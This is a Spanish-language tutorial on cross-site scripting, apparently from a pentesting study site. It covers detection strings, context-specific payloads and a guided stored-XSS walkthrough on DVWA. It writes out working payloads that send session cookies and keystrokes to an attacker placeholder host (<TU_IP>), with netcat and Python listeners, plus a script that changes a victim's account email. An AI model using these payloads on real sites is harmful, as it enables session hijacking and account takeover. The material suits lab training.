XSS — Cross-Site Scripting

XSS ocurre cuando una aplicación refleja datos controlados por el usuario en una página sin sanearlos, permitiendo inyectar JavaScript que se ejecuta en el navegador de la víctima. A diferencia de SQLi (que ataca al servidor), XSS ataca a otros usuarios: robo de sesiones, suplantación, keylogging o acciones en su nombre.

Tipos de XSS

Detección

Inyecta una cadena única y busca si se refleja sin escapar:

copiar'"><h1>xss</h1>

Si aparece un encabezado real (no el texto literal), el HTML se está interpretando. Prueba entonces a ejecutar JS:

copiar<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>

Según el contexto de inyección

El payload cambia según dónde caiga tu input en el HTML:

copiar<!-- Dentro de texto HTML -->
<script>alert(1)</script>

<!-- Dentro de un atributo (cierra la comilla primero) -->
"><img src=x onerror=alert(1)>

<!-- Dentro de un <script> existente -->
';alert(1)//

<!-- Dentro de un href/src -->
javascript:alert(1)

<!-- Eventos cuando se filtran etiquetas -->
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>

Bypass de filtros

PortSwigger tiene una “XSS cheat sheet” interactiva excelente para encontrar el vector según el contexto.

Explotación (más allá del alert)

El alert solo prueba el fallo. El impacto real:

Robo de cookies de sesión

copiar<script>
fetch('http://<TU_IP>/c?='+document.cookie)
</script>

copiar# En tu máquina, a la escucha:
nc -lvnp 80

Si la cookie tiene el flag HttpOnly, no podrás leerla desde JS. Entonces pivota a otras acciones (CSRF, keylogger, robo de tokens del DOM).

Ejecutar acciones como la víctima

copiar<script>
fetch('/api/account/email',{method:'POST',headers:{'Content-Type':'application/json'},
body:JSON.stringify({email:'[email protected]'})})
</script>

Keylogger

copiar<script>document.onkeypress=e=>fetch('http://<TU_IP>/k?='+e.key)</script>

XSS en el flujo de un pentest

• Robo de sesión de admin → acceso al panel → a menudo, de ahí a RCE (subida de ficheros, plugins).
• En CTFs con “bot” que visita URLs, el XSS reflejado contra ese bot (que está autenticado como admin) es una vía clásica para robar su cookie.

Herramientas relacionadas

Dónde practicar el XSS

Writeup guiado: XSS almacenado en DVWA (nivel Low)

Objetivo: dejar un payload persistente que robe la cookie de cualquiera que visite la página.

1. Preparar

   DVWA en Docker, seguridad "low", sección XSS (Stored).
2. Detectar

   Probar que el campo refleja HTML sin escapar.
3. Inyectar

   Guardar un <script> que exfiltra document.cookie.
4. Capturar

   Un listener recibe la cookie de la víctima.

Paso 1 — Preparar

En DVWA (http://localhost, admin:password, seguridad Low) ve a XSS (Stored). Hay un formulario de “libro de visitas” con Name y Message.

Paso 2 — Comprobar que no escapa el HTML

En Message escribe:

copiar<b>test</b>

Si el texto aparece en negrita, el HTML se interpreta → es inyectable. (El campo Name suele tener un maxlength; quítalo con las DevTools o usa Message.)

Paso 3 — Inyectar el robo de cookie

copiar<script>fetch('http://TU_IP:8000/c?='+document.cookie)</script>

Paso 4 — Capturar la cookie

copiar# En tu máquina, a la escucha:
python3 -m http.server 8000

Cada vez que alguien (o tú en otra sesión) abra la página, recibirás su PHPSESSID. Con esa cookie suplantas su sesión.